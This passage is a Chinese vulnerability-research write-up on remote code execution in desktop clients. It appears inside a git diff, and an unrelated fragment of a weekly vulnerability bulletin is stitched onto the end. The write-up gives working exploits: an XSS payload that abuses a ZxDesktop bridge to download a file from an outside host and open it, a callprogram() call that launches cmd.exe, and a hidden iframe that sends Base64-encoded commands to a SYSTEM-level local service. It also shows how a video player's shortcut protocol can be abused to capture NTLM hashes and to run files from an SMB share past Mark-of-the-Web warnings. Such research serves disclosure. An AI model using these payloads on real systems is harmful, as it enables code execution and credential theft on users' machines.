跟进这个模块,发现实际上他们都来自同一个方法,只不过传递的参数isSelect有不同:
|
||||
|
||||

|
||||
|
||||
接着我们来完整的阅读下代码即可发现整个逻辑,首先根据你传递的参数来判断要调用NormalDownload(正常下载)还是ChunkDownload(分块下载),接着根据isSelect函数来判断调用save还是saveAs方法:
|
||||
|
||||

|
||||
|
||||
所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码,来查看它们这些方法的逻辑是什么,这里看了之后,两者代码的唯一区别就是分块,所以本文就以NormalDownload的save、saveAs方法去说明。
|
||||
|
||||
首先是saveAs方法,它会调用一个文件保存框,然后赋值调用retryStart方法:
|
||||
|
||||

|
||||
|
||||
而实际上retryStart方法内调用的是start方法,这个方法是用来进行请求下载的:
|
||||
|
||||

|
||||
|
||||
而后下载的文件实际上会保存在用户的数据目录下,save方法与saveAs方法的最大的不同就是没有这个文件保存框,所以我们当然选择使用save方法。
|
||||
|
||||
需要注意,在如上代码中save和saveAs的传递参数不一致,其实这不影响最终的处理,因为在一开始的对象创建时候就通过构造函数赋值了:
|
||||
```
|
||||
let downloader = new Download(file, config);
|
||||
```
|
||||
|
||||

|
||||
|
||||
至此,我们就获得了文件下载的攻击路径,我们可以根据对应参数这样构建JS代码:
|
||||
```
|
||||
ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});
|
||||
```
|
||||
|
||||
我们已经获得了文件下载的功能,攻击路径就很明显了:用户下载文件,打开文件。但是实际操作中,我们打开文件还缺少一个路径,并且在实际的测试中,默认情况下,下载的文件是会保存在应用的数据目录的null目录下:
|
||||
|
||||

|
||||
|
||||
而这个目录可能会被用户更改(用户名也没法获取),所以我们需要搭配一个点去获取路径,在这里找到了ZxDesktop的System模块:
|
||||
|
||||

|
||||
|
||||
它的导出列表中有两个属性:dbPath、userDataPath,它们的内容都是一样的,指向了用户的数据目录:
|
||||
```
|
||||
ZxDesktop.require("System").userDataPath
|
||||
```
|
||||
|
||||
我们可以这样拼接,就有了下载文件的目录信息了:
|
||||
```
|
||||
ZxDesktop.require("System").userDataPath + "/null/test.txt"
|
||||
```
|
||||
|
||||
当我们满足所有条件后,就可以构造完整的攻击代码了:1.下载文件:
|
||||
```
|
||||
var a = ZxDesktop;
|
||||
|
||||
var b = a.require("File");
|
||||
|
||||
b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});
|
||||
```
|
||||
|
||||
2.拼接文件路径,打开文件:
|
||||
```
|
||||
b.open(a.require("System").userDataPath + "/null/test.txt");
|
||||
```
|
||||
|
||||
3.最终Exploit:
|
||||
```
|
||||
"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>
|
||||
```
|
||||
|
||||

|
||||
##### 某运维平台客户端
|
||||
|
||||
在某运维平台客户端中,我们发现可以通过伪协议链接(xxx://webview/?url=http://xxxx)来达到端内任意页面加载,这也就表示我们可以执行任意JS代码。
|
||||
|
||||
根据加载的DLL文件得知,其所依赖的前端页面渲染是开源项目Wke。
|
||||
|
||||
在源代码wke/jsBind.cpp
|
||||
中,发现wkeJSBindFunction方法提供了JSBridge的功能,将JavaScript函数绑定到C++中一个本地函数。
|
||||
|
||||

|
||||
|
||||
基于IDA分析得知,目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示,其将C++某个函数地址,与名为callprogram的JavaScript函数进行绑定,我们可以直接在JS代码中调用。
|
||||
|
||||

|
||||
|
||||
跟进对应的C++函数,我们发现它会通过wkeJSParam获取参数,再通过JSToTempStringW获取字符串形式的参数值,最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为:ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)。
|
||||
|
||||

|
||||
|
||||
因此我们可以构建如下的Exploit代码,并通过伪协议的方式使目标可以打开包含Exp代码的网页:
|
||||
```
|
||||
<script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script>
|
||||
```
|
||||
#### 传统类客户端
|
||||
|
||||
传统类客户端,我的定义是基于C/C++写的一些传统应用,如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。
|
||||
##### 某远程服务平台客户端
|
||||
|
||||
在拿到一个客户端程序时,第一步是安装,第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息,这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联,辅助我们挖掘漏洞。
|
||||
|
||||
如下图所示,安装完某远程服务平台客户端后,我通过火绒剑逐个查看对应的进程信息,在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是UserClient.exe进程当前的网络通信信息,我们可以看到它在本地监听了两个端口:38227、38230。
|
||||
|
||||

|
||||
|
||||
它的协议都是TCP,我们可以尝试使用HTTP的方式去访问,结果显示38230端口可以以HTTP协议的方式进行访问。
|
||||
|
||||

|
||||
|
||||
我们可以选取响应报文中的bangwo8client字符串在IDA的Strings窗口中进行搜索,通过这样的方式来进行逻辑的回溯。
|
||||
|
||||

|
||||
|
||||
双击进入字符串所在的.RDATA节,我们就可以看到该字符串对应的交叉引用,那么接下来我们的工作就是**进入这些函数看具体实现是否对的上响应报文的主体内容**。
|
||||
|
||||

|
||||
|
||||
我们进入一个函数查看,会发现在函数的头部代码中有如下这么一段内容,它的逻辑似乎就对应了HTTP响应报文的主体返回,通过字符串的对应我们能大致知道sub_487760函数的作用就是为了将字符串解析到JSON格式中,然后再通过其他函数拼接JSON的字段内容给到Block。
|
||||
|
||||

|
||||
|
||||
除了我们跟进的这个函数外其他的函数逻辑都大致一样,并且我们通过IDA插件CTO查看调用关系,发现这些函数最终都是被同一个函数sub_674090调用。
|
||||
|
||||

|
||||
|
||||
那我们再继续跟进函数sub_674090
|
||||
,函数的逻辑就是根据不同的URI进入不同的函数处理,也就表示着这里就是HTTP请求逻辑处理的入口位置。
|
||||
|
||||

|
||||
|
||||
有了请求处理逻辑的入口,接下来我们就要去看每个URI对应的处理逻辑是什么,看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。
|
||||
|
||||
如果你觉得这样去看很累,也可以基于敏感函数的调用链来对应每个URI的处理函数,如下图所示我就基于ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数,也就表示当你访问URL:http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。
|
||||
|
||||

|
||||
|
||||
那么我们可以跟进去看一下该处理函数,看看是否可以将可控参数值带入到ShellExecuteA函数里去执行。
|
||||
|
||||
在函数的一开始就判断运行当前程序的用户是否是system,如果不是的话则直接返回响应内容(状态码500)提示当前不是以SYSTEM权限运行的进程。
|
||||
|
||||

|
||||
|
||||
这里我们通过Process Hacker可以看到UserClient.exe进程对应的用户就是SYSTEM:
|
||||
|
||||

|
||||
|
||||
也就表示我们当前是满足这个条件的,所以可以接着看IF分支内的逻辑。在IF分支内就执行了ShellExecuteA
|
||||
函数,根据ShellExecuteA
|
||||
函数的使用语法我们知道它这是以v15
|
||||
作为参数执行v16
|
||||
程序,所以我们需要知道v15
|
||||
、v16
|
||||
这两个变量是如何赋值而来的。
|
||||
|
||||

|
||||
|
||||
具体的逻辑可以下图,我们找到赋值关系最终确认一切的参数来源都是Block,该值是一个全局变量,那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。
|
||||
|
||||

|
||||
|
||||
根据猜测,我们可以先使用OD附加进程在ShellExecuteA函数处下断点。
|
||||
|
||||
然后请求URL:http://127.0.0.1:38230/api_install?file=cmd.exe¶m=/k%20notepad,我们就会在OD界面中看见端点到ShellExecuteA函数了,我们可以通过栈来看一下传参是什么。
|
||||
|
||||
如下所示我们发现ShellExecuteA函数的参数FileName和Parameters是一串乱码的内容,这应该是我们输入的字符串经过了某些处理后导致的。
|
||||
|
||||

|
||||
|
||||
因此我们可以在URI/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了,如果带进来了为什么最终值会变成一段乱码的数据。
|
||||
|
||||
如下图OD中可以看见我们的请求参数file的值cmd.exe确实可以带进来,这也就验证了我们的猜想,ShellExecuteA函数的参数是来源于HTTP请求参数。
|
||||
|
||||

|
||||
|
||||
接着走下去我们会发现调用如下函数时的参数就是我们的请求参数file和对应值cmd.exe,当该函数执行完成之后返回到EAX寄存器,我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容,也就是我们在ShellExecuteA函数断点处看见的参数。
|
||||
```
|
||||
push esi
|
||||
push eax
|
||||
call UserClie.004203B0
|
||||
```
|
||||
|
||||

|
||||
|
||||
所以我们可以跟进函数004203B0在IDA中看一下它具体做了什么,这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。
|
||||
|
||||
在这之前我们需要注意,由于IDA和实际进程执行的基址不同,我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的,这样我们就可以直接跟进函数004203B0,而不需要再去进行地址的换算。
|
||||
|
||||
在IDA中跟进函数004203B0,它实际上也是调用的另外一个函数00370C70,在该函数里对字符串进行位移转换,猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940,我们跟进这个数据之后发现似乎是一张解码表。
|
||||
|
||||

|
||||
|
||||
如下将整段数据罗列出来,看着与Base64解码所需要的解码表是一致的,所以此处极有可能就是Base64解码操作,将我们的输入的字符串cmd.exe进行解码,最终就变成了乱码。
|
||||
|
||||
我们可以将cmd.exe字符串进行Base64解码,发现结果确实为我们之前所看到的乱码内容:
|
||||
|
||||

|
||||
|
||||
最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit,当安装了该客户端的应用打开Exp代码对应页面时,即可以执行我们想要的命令。
|
||||
```
|
||||
<iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==¶m=L2sgbm90ZXBhZA==" width="0px" height="0px">
|
||||
```
|
||||
|
||||
##### 某视频软件客户端
|
||||
|
||||
通过URLProtocolView找到视频软件客户端注册的伪协议:xxplayer://,通过字符串定位程序伪协议的处理功能点,也可以知道有哪些的伪协议路由。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
发现这里可以通过xxplayer://action.cmd/xxx
|
||||
的方式来触发一些功能,所有功能列表如下所示:
|
||||
```
|
||||
xxplayer://action.cmd/playShareVideo
|
||||
xxplayer://action.cmd/play
|
||||
xxplayer://action.cmd/downloadvideo
|
||||
xxplayer://action.cmd/downloadpage
|
||||
xxplayer://action.cmd/downloadShareVideo
|
||||
xxplayer://action.cmd/createshortcut_url
|
||||
xxplayer://action.cmd/createshortcut
|
||||
xxplayer://action.cmd/activeHomepage
|
||||
```
|
||||
|
||||
根据字面意思理解它的作用即可,这里我们一个一个带入请求尝试,发现当请求createshortcut_url时会在桌面创建.link的快捷方式文件。
|
||||
|
||||
我们跟进这个创建快捷方式的逻辑,发现实际上它还有两个参数:url、name:
|
||||
|
||||

|
||||
|
||||
然后将这两个参数值带入CreateUrlShortcut
|
||||
函数执行,这个函数是导入函数,就是用于创建桌面快捷方式的。
|
||||
|
||||

|
||||
|
||||
因此我们可以构建伪协议URL:xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test,访问就发现它创建了一个名为Test的快捷方式,目标为:C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0,也就表示我们传入的url参数值变成了启动参数,name参数值变成了快捷方式名字。
|
||||
|
||||

|
||||
|
||||
当我们双击这个快捷方式时,就会调用浏览器打开http://www.baidu.com。
|
||||
|
||||
接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可,那么我们尝试将url参数值修改为file://172.16.176.176/netntlm,也就变成这样:xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123,在机器上responder监听一下,当打开快捷方式时收到了NTLM Hash:
|
||||
|
||||

|
||||
|
||||
除了获取NTLM Hash,我们还可以在Ubuntu上开一个SMB服务,然后将url
|
||||
参数设为使用\\172.16.176.176\share\Test.exe
|
||||
,使用快捷方式打开共享文件,发现确实可以打开EXE文件,但是会有文件信任的安全警告(Mark-of-the-Web)。
|
||||
|
||||

|
||||
|
||||
这里可以通过jar文件形式去绕过,打包一个打开计算器的Jar包放在共享目录下,然后将url参数设为使用\\172.16.176.176\share\1.jar。
|
||||
|
||||

|
||||
|
||||
访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123
|
||||
,创建快捷方式,打开快捷方式,执行Jar包启动计算器,这样我们就实现了1 Click执行任意命令。
|
||||
|
||||

|
||||
|
||||
使用远程Jar包的方式来达到任意命令执行还是有局限性,如果目标机器不存在Java环境就无法执行,因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件,不会有任何弹窗提示直接执行bat文件内容。
|
||||
|
||||
因此我们可以在共享文件夹中创建1.zip,放入内容为calc的1.bat文件。
|
||||
|
||||

|
||||
|
||||
将url
|
||||
参数值设为\\172.16.176.225\share\1.zip\1.bat
|
||||
,然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123
|
||||
创建桌面快捷方式,打开快捷方式即可执行bat
|
||||
文件,最终达到不需要任何依赖的情况下执行任意命令。
|
||||
|
||||

|
||||
## 总结
|
||||
|
||||
简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
关于客户端本地开启的网络协议问题,我总结出如下几步可以快速的进行漏洞发现:
|
||||
1. 找到客户端启动的本地网络服务(TCP、UDP),这个可以用火绒剑或者CMD的方式查看;
|
||||
|
||||
1. 有本地监听的情况下,找到对应的程序以及加载的DLL,通过IDA根据端口号找到监听的点,如果是C/C++的程序一般找bind这个函数就能快速定位到;
|
||||
|
||||
1. 向上回溯找调用链,并根据网络服务的返回结果,例如HTTP访问会有一段字符串或者响应头的一些字符串,定位到代码处理逻辑;
|
||||
|
||||
1. 如果逻辑对应上了,那就接着找程序的导入表是否存在敏感的函数,例如:CreateProcess、WinExec、ShellExec,如果存在则可以向上回溯看看是否与网络服务监听点有联系;
|
||||
|
||||
1. 当条件都满足的时候就想尽办法,通过断点调试等操作,找传参或数据传输格式,看看可控内容是否可达敏感的函数处;
|
||||
|
||||
1. 根据代码逻辑构造PoC触发漏洞,并尝试武器化利用。
|
||||
|
||||
## 致谢
|
||||
|
||||
在文章的最后,我要感谢公司部门领导和同事对本议题的贡献和帮助(以下排名不分先后),感谢字节跳动安全中心对于本次沙龙的筹办和策划。
|
||||
|
||||

|
||||
|
||||
|
@ -1,5 +1,5 @@
|
||||
# 雷神众测漏洞周报2025.4.28-2025.5.5
|
||||
原创 雷神众测 雷神众测 2025-05-07 03:10
|
||||
sec0nd安全 2025-05-07 04:30
|
||||
|
||||
摘要
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user